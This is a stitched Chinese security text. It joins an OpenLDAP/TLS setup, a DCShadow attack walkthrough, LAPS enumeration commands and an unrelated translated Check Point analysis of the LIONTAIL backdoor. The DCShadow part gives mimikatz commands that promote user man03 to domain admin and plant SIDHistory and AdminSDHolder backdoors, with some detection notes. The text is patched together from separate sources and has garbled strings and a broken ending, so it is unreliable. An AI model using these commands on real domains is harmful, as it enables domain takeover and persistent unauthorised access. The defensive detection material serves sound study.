# specify the password generated above for "olcRootPW" section

dn: olcDatabase={1}monitor,cn=config

changetype: modify

replace: olcAccess

olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth"

read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none

dn: olcDatabase={2}mdb,cn=config

changetype: modify

replace: olcSuffix

olcSuffix: dc=foo,dc=bar

dn: olcDatabase={2}mdb,cn=config

changetype: modify

replace: olcRootDN

olcRootDN: cn=Manager,dc=foo,dc=bar

dn: olcDatabase={2}mdb,cn=config

changetype: modify

add: olcRootPW

olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

dn: olcDatabase={2}mdb,cn=config

changetype: modify

add: olcAccess

olcAccess: {0}to attrs=userPassword,shadowLastChange by

dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none

olcAccess: {1}to dn.base="" by * read

olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read

> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

modifying entry "olcDatabase={1}monitor,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

> vim basedomain.ldif

dn: dc=foo,dc=bar

objectClass: top

objectClass: dcObject

objectclass: organization

o: Foo Bar

dc: DC1

dn: cn=Manager,dc=foo,dc=bar

objectClass: organizationalRole

cn: Manager

description: Directory Manager

dn: ou=People,dc=foo,dc=bar

objectClass: organizationalUnit

ou: People

dn: ou=Group,dc=foo,dc=bar

objectClass: organizationalUnit

ou: Group

> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif

Enter LDAP Password: # directory manager's password

adding new entry "dc=foo,dc=bar"

adding new entry "cn=Manager,dc=foo,dc=bar"

adding new entry "ou=People,dc=foo,dc=bar"

adding new entry "ou=Group,dc=foo,dc=bar"

配置 LDAP TLS

创建和SSL证书

> cd /etc/pki/tls/certs

> make server.key

umask 77 ; \

/usr/bin/openssl genrsa -aes128 2048 > server.key

Generating RSA private key, 2048 bit long modulus

...

...

e is 65537 (0x10001)

Enter pass phrase: # set passphrase

Verifying - Enter pass phrase: # confirm

# remove passphrase from private key

> openssl rsa -in server.key -out server.key

Enter pass phrase for server.key: # input passphrase

writing RSA key

> make server.csr

umask 77 ; \

/usr/bin/openssl req -utf8 -new -key server.key -out server.csr

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [XX]: # country

State or Province Name (full name) []: # state

Locality Name (eg, city) [Default City]: # city

Organization Name (eg, company) [Default Company Ltd]: # company

Organizational Unit Name (eg, section) []:Foo Bar # department

Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN

Email Address []:xxx@foo.bar # admin email

Please enter the following 'extra' attributes

to be sent with your certificate request

A challenge password []: # Enter

An optional company name []: # Enter

> openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650

Signature ok

subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/emailAddress=xxx@roo.bar

Getting Private key

为 SSL/TLS 配置 Slapd

> cp /etc/pki/tls/certs/server.key \

/etc/pki/tls/certs/server.crt \

/etc/pki/tls/certs/ca-bundle.crt \

/etc/openldap/certs/

> chown ldap. /etc/openldap/certs/server.key \

/etc/openldap/certs/server.crt \

/etc/openldap/certs/ca-bundle.crt

> vim mod_ssl.ldif

# create new

dn: cn=config

changetype: modify

add: olcTLSCACertificateFile

olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt

replace: olcTLSCertificateFile

olcTLSCertificateFile: /etc/openldap/certs/server.crt

replace: olcTLSCertificateKeyFile

olcTLSCertificateKeyFile: /etc/openldap/certs/server.key

> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

modifying entry "cn=config"

允许 LDAP 通过本地防火墙

firewall-cmd --add-service={ldap,ldaps}

安装并配置 LDAP 服务后,您可以使用以下命令运行它

slapd -d 2

下面的屏幕截图显示了我们在打印机上运行连接测试时的输出示例。正如您所看到的,用户名和密码从 LDAP 客户端传递到服务器。

4l35kyiywpx12369.png

DCShadow

DCShadow通过创建恶意的域控制器,利用域控之间的数据同步复制,将预先设定的对象或对象属性注入正在运行的合法域控制器,以此来创建域后门或者获取各种类型的非法访问渠道。

下面通过DCShadow修改普通域用户man03的primaryGroupID属性演示DCShadow的攻击过程。

primaryGroupID属性指向用户所属的主要组的RID,通过将用户的primaryGroupID改为512,可以让用户成为域管理员。RID指相对标识符,是SID的组成部分,位于SID字符串的末端。Windows系统使用RID来区分用户账户和组,常见系统账户的RID如下图。

i2pcousq5sy12374.png

利用DCShadow
  1. 在域内任意一台主机中上传Mimikatz。打开一个命令行窗口,执行以下命令启动数据更改。该命令行窗口需要为SYSTEM权限,以拥有适当的权限来创建恶意域控制器。

//获取system权限

!+

!processtoken

token::whoami

请注意,elevate :: token 在 mimikatz1 会话中不起作用,因为它仅提升了线程的权限,但我们需要提升进程的权限。

c3dny541to212393.png

//创建恶意域控制器,且修改用户组中man03为域管理员

lsadump::dcshadow /object:CN=man03,CN=Users,DC=vvvv1,DC=com /attribute:primaryGroupID /value:512

  1. 执行后,第一个命令行窗口不要关闭,并新开一个域管理员权限的命令行窗口。在新的命令行窗口中执行以下命令强制触发域复制,将数据更改推送至合法的域控服务器。

lsadump::dcshadow /push

ne00nc5jxn012400.png

发现man03用户已经成为域管理员。

dw5w55atqlr12404.png

ca4hzpkflo012410.png

您可以通过具有以下最小权限的 DA 或用户推送更改:

在域对象中:

  • DS-Install-Replica(添加/删除域中的副本)
  • DS-Replication-Manage-Topology(管理复制拓扑)
  • DS-Replication-Synchronize(复制同步)

配置容器中 Sites 对象(及其子级):

  • CreateChild 和 DeleteChild

已注册为 DC 的计算机对象:

  • WriteProperty(而不是 Write)

目标对象:

  • WriteProperty(而不是 Write)

您可以使用 Set-DCShadowPermissions 命令将这些权限授予一个非特权用户(请注意,这将留下一些日志)。这比拥有 DA 权限更加限制性。

https://github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1

例如:

Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose

这意味着当用户名为 student1 的用户在机器 mcorp-student1 上登录时,他将具有对对象 root1user 的 DCShadow 权限。

创建后门

joxdx4fjma412415.png

lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519

lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519

First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl

Second, add to the ACE permissions to your user and push it using DCShadow

lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

痕迹观察

为了检测这种恶意活动,您可以监控网络流量,并怀疑任何不是 DC 主机(在我们的情况下是 PC-W10$,其 IP 地址为 10.0.0.7)向 DC(在我们的情况下是 10.0.0.6 上的 DC-MANTVYDAS)发出 RCP 请求,如下所示。

ju2xh1pc3dh12420.png

对于日志也是同样的情况,如果您看到一个非 DC 主机导致 DC 记录一个 4929 事件(详细的目录服务复制),您可能想调查一下该系统上还发生了什么其他情况。

lt3jtee52nq12425.png

mimikatz 目前的 DCShadow 实现在短时间内创建一个新的 DC,并在推送完成后删除其相关对象,这种模式可能会触发警报,因为在 1-2 秒的时间范围内同时发生新 DC 的创建、相关对象的修改和删除看起来是异常的。事件 4662 可能有助于识别这一情况。

a0wtb4lw01f12429.png

LAPS

https://zhuanlan.zhihu.com/p/37853137

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps

https://www.geekby.site/2020/02/%E9%9A%90%E8%94%BD%E5%9F%9F%E5%90%8E%E9%97%A8/#laps

https://blog.51cto.com/rdsrv/2708914

LAPS(本地管理员密码管理解决方案)允许您管理域加入计算机上的本地管理员密码(密码是随机生成的、唯一的,并定期更改)。这些密码被集中存储在活动目录中,并通过访问控制列表(ACL)限制只有授权用户可以访问。密码在从客户端到服务器的传输过程中使用 Kerberos v5 和 AES 进行保护。

当使用 LAPS 时,域中的计算机对象中会出现两个新属性:

ms-mcs-AdmPwd 和 ms-mcs-AdmPwdExpirationTime。

这些属性包含明文的管理员密码和密码过期时间。因此,在域环境中,检查哪些用户可以读取这些属性可能是有意义的。

reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

dir "C:\Program Files\LAPS\CSE"

# Check if that folder exists and contains AdmPwd.dll

# Find GPOs that have "LAPS" or some other descriptive term in the name

Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)

Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname



转载自原文链接地址: https://forum.butian.net/share/3681

Check Point Research與Sygnia事件響應小組合作,追踪分析Manticore活動,這是一個主要針對中東政府和電信部門的攻擊活動。據分析,Manticore與OilRig(又名APT34、EUROPIUM、Hazel Sandstorm)有關聯。

在最新的攻擊活動中,攻擊者利用了LIONTAIL框架,這是一套複雜的自定義加載程序和內存駐留shellcode有效負載。 Manticore使用HTTP.sys驅動程序的未記錄功能從傳入的HTTP流量中提取有效負載。觀察到的LIONTAIL相關惡意軟件的多種變體表明,Manticore為每台受攻擊的服務器生成了一個自定義的植入程序,使惡意活動能夠融入合法的網絡流量中,並且無法從中識別。

儘管LIONTAIL框架本身看起來很獨特,並且與任何已知的惡意軟件家族沒有明顯的代碼重疊,但這些攻擊中使用的其他工具與之前報告的活動重疊。最值得注意的是,其中一些最終與OilRig有關聯。

在這篇文章中,我們提供了最新工具的技術分析。

LIONTAIL框架LIONTAIL是一個惡意軟件框架,包括一組自定義shellcode加載器和內存駐留shellcode有效負載。它的一個組件是用c語言編寫的LIONTAIL後門。它是一個輕量級但相當複雜的被動後門,安裝在Windows服務器上,使攻擊者能夠通過HTTP請求遠程執行命令。後門為其配置中提供的url列表設置偵聽器,並執行攻擊者向這些url發送請求的有效負載。

LIONTAIL後門組件是最新的Manticore攻擊中使用的主要植入程序。利用來自面向公眾服務器的訪問權限,攻擊者鏈接了一組被動植入程序來訪問內部資源。到目前為止,我們看到的LIONTAIL後門的內部樣本要么偵聽HTTP,要么在某些情況下使用命名管道來促進遠程代碼執行。

1.png

LIONTAIL惡意軟件框架概述

LIONTAIL加載器安裝我們觀察到在受攻擊的Windows服務器上有兩種後門安裝方法:獨立可執行文件和通過Windows服務或合法進程的搜索順序劫持加載的dll。

當作為DLL安裝時,惡意軟件利用Windows Server操作系統發行版中缺少的一些DLL:後門被放置到系統文件夾C:\ Windows \system32中,作為wlanapi.dll或wlbsctrl.dll。默認情況下,Windows Server安裝中不存在這兩個選項。根據Windows Server版本,惡意DLL繼續由其他進程(如Explorer.exe)直接加載,或者攻擊者啟用特定服務(默認禁用),這些服務需要這些DLL。

在wlbsctrl.dll的情況下,DLL在IKE和AuthIP IPsec key Modules服務開始時加載。對於wlanapi.dll,攻擊者啟用可擴展身份驗證協議:

sc.execonfigEaphoststart=auto;

sc.exestartEaphost;在將LIONTAIL作為可執行文件部署的樣本中,觀察到的一個值得注意的特徵是試圖將可執行文件偽裝成Cyvera Console (Cortex XDR的一個組件)。

配置惡意軟件首先對包含其配置的結構執行一個1字節的異或解密,該結構用以下結構表示:

2.png

字段listen_urls定義了惡意軟件偵聽傳入請求的特定URL前綴

所有示例的URL列表都包含http://+:80/Temporary_Listen_Addresses/前綴,這是一個默認的WCF URL保留,允許任何用戶從該URL接收消息。其他示例包括端口80、443和444上的多個url(在Exchange服務器上),模擬現有服務,例如:

https://+:443/autodiscover/autodiscovers/;

https://+:443/ews/exchanges/;

https://+:444/ews/ews/;許多LIONTAIL示例包含量身自定義的配置,其中添加了多個其他自定義url,以匹配受攻擊服務器上現有的web文件夾。由於實際的IIS服務已經使用了現有文件夾的url,因此生成的有效負載在路徑中包含額外的隨機字典單詞。這確保了惡意軟件通信與合法通信融合在一起,方便隱藏。

配置中所有前綴的host元素由單個加號(+)組成,這是一個匹配所有可能主機名的“強通配符”。當應用程序需要處理指向一個或多個相對url的請求時,無論這些請求如何到達計算機或它們在host標頭中指定的站點(主機或IP地址),強通配符都是有用的。

為了理解惡意軟件如何在這些前綴上配置偵聽器以及該方法如何隨時間變化,有必要對Windows HTTP堆棧有所了解。

Windows HTTP棧組件WindowsServer2003中引入了一種端口共享機制,允許多個HTTP服務共享相同的TCP端口和IP地址。該機制封裝在HTTP.sys中,HTTP.sys是一個內核模式驅動程序,負責處理HTTP請求,偵聽傳入的HTTP請求,並將它們引導到相關的用戶模式進程或服務以進行進一步處理。

在驅動程序層之上,Windows提供了HTTP服務器API,這是一個用戶模式組件,提供了與HTTP.sys交互的接口。此外,後台的Internet信息服務(IIS)依賴於HTTP API與HTTP.ssys驅動程序交互。以類似的方式,NET框架中的HttpListener類是圍繞HTTPServerneneneba API的簡單包裝器。

3.png

Windows服務器上HTTP棧組件的架構

應用程序接收和處理特定URL前綴請求的過程可以概述如下:

1.惡意軟件通過Windows操作系統提供的任何方式向HTTP.sys註冊一個或多個URL前綴。

2.當接收到HTTP請求時,如果該惡意軟件負責該前綴,HTTP.sys識別與請求前綴相關聯的應用程序,並將該請求轉發給惡意軟件。

3.惡意軟件的請求handler隨後接收HTTP.sys截獲的請求,並為其生成響應。

CC通信在提取配置後,惡意軟件使用相同的1字節異或通過偵聽提供的URL前綴列表來解密負責建立CC通信通道的shellcode。雖然在面向web的Windows服務器上使用被動後門的概念並不新鮮,早在2019年就有人在野外觀察到它劫持了同一個Windows DLL wblsctrl.DLL,但LIONTAIL的開發人員提高了他們的方法。該惡意軟件不使用HTTP API,而是使用IOCTL與底層HTTP.sys驅動程序直接交互。這種方法更隱蔽,因為它不涉及IIS或HTTP API,這些通常由安全解決方案密切監控,但考慮到HTTP.sys的IOCTL沒有記錄,還需要進一步研究。

首先,shellcode使用以下IOCTL向HTTP.sys註冊URL前綴:

0x128000–UlCreateServerSessionOctl:創建HTTP/2.0會話。

0x128010–UlCreateUrlGroupIoctl:創建新的UrlGroup。 UrlGroup是在服務器會話下創建的一組URL的配置容器,並繼承其配置設置。

0x12801d–UlSetUrlGroupIoctl:通過設置HttpServerBindingProperty將UrlGroup與請求隊列相關聯。

0x128020–UlAddUrlToUrlGroupIoctl:將listen_urls數組添加到新創建的UrlGroup中。

4.png

HTTPsys IOCTL表

註冊URL前綴後,後門啟動一個負責處理傳入請求的循環,直到它從一個等於後門配置中提供的end_string的URL獲得請求。

後門使用0x124036–UlReceiveHttpRequestIoctl IOCTL接收HTTP.sys的請求。

根據受攻擊服務器的版本,使用0x12403B–UlReceiveEntityBodyIoctl或(如果高於20348)0x12403A–UlReceiveEntityBodyFastIo接收請求正文。然後,通過將整個數據與數據的第一個字節異或,對其進行base64解碼和解密。這是在多個惡意軟件家族中觀察到的常見加密方法,包括但不限於DEV-0861的網絡部署反向代理。

5.png

來自LIONTAIL有效負載的CC解密方案

解密後的有效負載具有以下結構:

6.png

惡意軟件創建一個新線程並在內存中運行shellcode。由於某種原因,它使用請求消息中的shellcode_output和shellcode_output_size作為指向內存中各自數據的指針。

為了加密響應,惡意軟件選擇一個隨機字節,使用它作為密鑰對數據進行異或編碼,將密鑰添加到結果中,然後對整個結果進行base64編碼,最後使用IOCTL0x12403F - UlSendHttpResponseIoctl將其發送回CC服務器。

LIONTAIL web shell除了PE植入程序外,Manticore還使用基於web shell的LIONTAIL shellcode加載器。 web shell以類似於其他Manticore . net有效負載和web shell的方式進行混淆。

7.png

LIONTAIL web shell的主要函數(格式化,保留混淆)

web shell接收帶有2個參數的請求:

马云惹不起马云 要執行的shellcode;

马云惹不起马云要使用的shellcode參數;

這兩個參數的加密方式與其他通信相同:對第一個字節進行異或,然後進行base64編碼。

發送到基於web shell的shellcode加載程序的shellcode和參數的結構與LIONTAIL後門中使用的結構相同,這表明觀察到的工件是一個更大框架的一部分,該框架允許根據攻擊者的訪問和需求動態構建加載程序和有效負載。

使用命名管道的LIONTAIL版本我們還發現了與LIONTAIL樣本具有相似內部結構的加載器。這個版本不是偵聽URL前綴,而是從命名管道獲取有效負載,並且可能被指定安裝在無法訪問公共web的內部服務器上。惡意軟件的配置有點不同:

8.png

主shellcode首先將字符串安全描述符“D:(A;FA;WD)”轉換為有效的、功能性的安全描述符。由於字符串以“D”開頭,它表示DACL(自由訪問控制列表)條目,通常具有以下格式:entry_type:heritance_flags(ACE_type;ACE_flags;rights;object_GUID;heritance_object_GUID;account_SID)。在該樣本中,安全描述符允許(A)對所有人(WD)進行文件全訪問(FA)。

然後使用安全描述符根據配置中提供的值創建命名管道。在我們觀察到的示例中,所使用的管道的名稱是\\.\pipe\test-pipe。

值得注意的是,與HTTP版本不同,惡意軟件沒有使用任何更高級的技術來連接到命名管道,從中讀取和寫入。相反,它依賴於標準的kernel32.dll api,如CreateNamedPipe和ReadFileWriteFile。

基於命名管道的LIONTAIL的通信與HTTP版本相同,具有相同的加密機制和相同的負載結構,在內存中作為shellcode運行。

LIONTAIL內存組件有效負載類型在LIONTAIL加載器解密從攻擊者的CC服務器接收到的有效負載及其參數後,它開始解析參數。它是一個結構,描述了shellcode要執行的有效負載類型,並且根據有效負載的類型構建不同:

TYPE=1 :執行另一個shellcode:

9.png

TYPE=2 :執行指定的API函數:

10.png

API執行的參數結構如下:

11.png

下一個階段為了防止分析,Manticore將最終有效負載封裝在嵌套的shellcode中。例如,從攻擊者那裡收到的一個shellcode會運行另一個幾乎相同的shellcode,而這個shellcode又會運行負責計算機指紋識別的最後一個shellcode。

此有效負載收集的數據是通過運行特定的Windows api或枚舉註冊表項收集的,並包括以下組件:

1.計算機名(使用GetComputerNameW API)和域名(使用GetEnvironmentVariableA API);

2.如果系統是64位的標誌(使用GetNativeSystemInfo API,檢查是用wProcessorArchitecture==9完成的);

3.處理器數量(使用GetNativeSystemInfo API的dwNumberOfProcessors);

4.物理內存(GetPhysicallyInstalledSystemMemory);

5.來自當前版本註冊表項的數據(類型、名稱長度、名稱、數據長度和數據);

6.來自SecureBoot\State註冊表項的數據;

7.來自System\Bios註冊表項的數據;

最後的結構包含所有收集到的信息,也有一個錯誤代碼的位置,供攻擊者使用,以找出為什麼他們使用的一些api不像預期的那樣運行:

12.png

額外的工具除了使用LIONTAIL,我們還觀察到Manticore利用了其他自定義組件。

LIONHEAD網絡傳送器在一些被攻擊的交換服務器上,攻擊者部署了一個名為LIONHEAD的小型網絡傳送器。 LIONHEAD也作為服務安裝,使用與LIONTAIL相同的幻影DLL劫持技術,並利用類似的機制將流量直接轉發到Exchange Web Services (EWS)終端。

LIONHEAD的配置與LIONTAIL不同:

13.png

後門以與LIONTAIL相同的方式註冊listen_urls前綴並偵聽請求。對於每個請求,後門都會復制內容類型、cookie和正文,並將其轉發到配置中指定的

這個傳送器可以用來繞過對EWS外部連接的限制,隱藏EWS數據的真正使用者。